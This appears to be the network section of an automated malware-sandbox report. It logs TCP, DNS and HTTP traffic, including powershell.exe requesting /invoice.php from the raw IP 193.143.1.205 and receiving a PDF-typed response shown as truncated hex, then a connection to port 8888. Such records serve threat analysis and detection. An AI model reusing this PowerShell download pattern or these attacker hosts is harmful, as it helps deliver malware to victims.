Jan 11, 2025 02:41:43.151555061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.151592970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.151633978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151648045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151685953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.151792049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151804924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151813984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151838064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151844025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.151853085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151870012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151882887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.151905060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151916981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.151932001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.151968002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.160535097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.160551071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.160619974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.168549061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.168581963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.168597937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.168605089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.168629885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.168644905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.168663025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.168663025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.168701887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.177747965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.177769899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.177795887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.177810907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.177826881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.177841902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.177851915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.177881002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.177944899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.177969933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.177983999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.177984953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.178023100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.178111076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.178124905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.178138971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.178153038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.178162098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.178196907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.178236961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.178251028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.178266048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.178283930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.199368000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.199449062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.199464083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.199465990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.199512959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.199588060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.199604034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.199619055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.199634075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.199639082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.199650049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.199670076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.216439962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.216480017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.216495037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.216511011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.216538906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.216573954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.216578007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.216588974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.216608047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.216614008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.216624022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.216643095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.216734886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.216749907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.216766119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.216772079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.216784000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.216804028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.216823101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.216837883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.216857910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.216905117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.216933966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.216960907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.216975927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.216990948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217010021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.217062950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217092991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.217120886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217133999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217165947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.217241049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217256069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217271090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217292070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.217385054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217400074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217415094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217417955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.217432022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217453957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.217518091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217533112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217551947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.217571020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217586994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217602015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217606068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.217617035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217638969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.217827082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217842102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217855930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217875957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.217890978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.217963934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217978001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.217992067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218008041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218018055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.218043089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.218116999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218131065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218146086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218161106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218164921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.218193054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.218341112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218362093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218378067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218393087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218398094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.218409061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218430042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218435049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.218446016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218456984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.218461990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218482971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218504906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.218616962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218631983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218648911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218652010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.218666077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.218683004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.221462965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.221524000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.221525908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.221539974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.221563101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.221577883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.221584082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.221595049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.221611023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.221714973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.221738100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.221752882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.221764088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.221766949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.221782923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.221793890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.221798897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.221821070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.221858025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.221873999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.221892118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.238178968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.238221884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.238238096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.238266945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.238265991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.238282919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.238291979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.238332987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.238387108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.238403082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.238442898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.238507986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.238521099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.238538027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.238554001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.238610983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.238624096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.238639116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.238645077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.238655090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.238687992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.238713026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.238728046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.238746881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.258038044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.258061886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.258076906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.258091927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.258124113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.258141041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.258141994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.258156061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.258172035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.258199930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.267364025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.267386913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.267405987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.267414093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.267415047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.267421961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.267442942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.267462015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.267477036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.267481089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.267493010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.267503977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.267509937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.267527103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.267548084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.267575979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.279911041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.279930115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.280016899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.280065060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.280081034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.280137062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.332844973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.337833881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.337860107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.337867022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.337894917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.340742111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.345534086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.345566988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.345582962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.345588923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.345634937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.345700979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.345716953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.345732927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.345748901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.345763922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.345793962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.345807076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.345937967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.345953941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.345968962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.345976114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.345984936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.345999956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.346004009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.346014977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.346031904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.346036911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.346072912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.346219063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.346235037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.346251011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.346272945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.346273899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.346292019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.346307993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:43.346312046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.346350908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.578787088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:43.715440035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:44.241147995 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:44.249702930 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:44.251986027 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:44.252237082 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:44.256975889 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:45.079778910 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:45.130904913 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:46.318263054 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:41:57.303556919 CET	61150	53	192.168.2.5	1.1.1.1
Jan 11, 2025 02:42:09.851339102 CET	58003	53	192.168.2.5	1.1.1.1
Jan 11, 2025 02:42:23.273190975 CET	65212	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:41:57.303556919 CET	192.168.2.5	1.1.1.1	0x9e04	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:42:09.851339102 CET	192.168.2.5	1.1.1.1	0x1703	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:42:23.273190975 CET	192.168.2.5	1.1.1.1	0x1605	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:41:55.597579002 CET	1.1.1.1	192.168.2.5	0xc2ff	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:41:55.597579002 CET	1.1.1.1	192.168.2.5	0xc2ff	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:41:57.312542915 CET	1.1.1.1	192.168.2.5	0x9e04	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:42:09.859523058 CET	1.1.1.1	192.168.2.5	0x1703	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:42:23.280113935 CET	1.1.1.1	192.168.2.5	0x1605	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	3748	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:41:41.743891001 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:41:42.541626930 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:41:42 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen 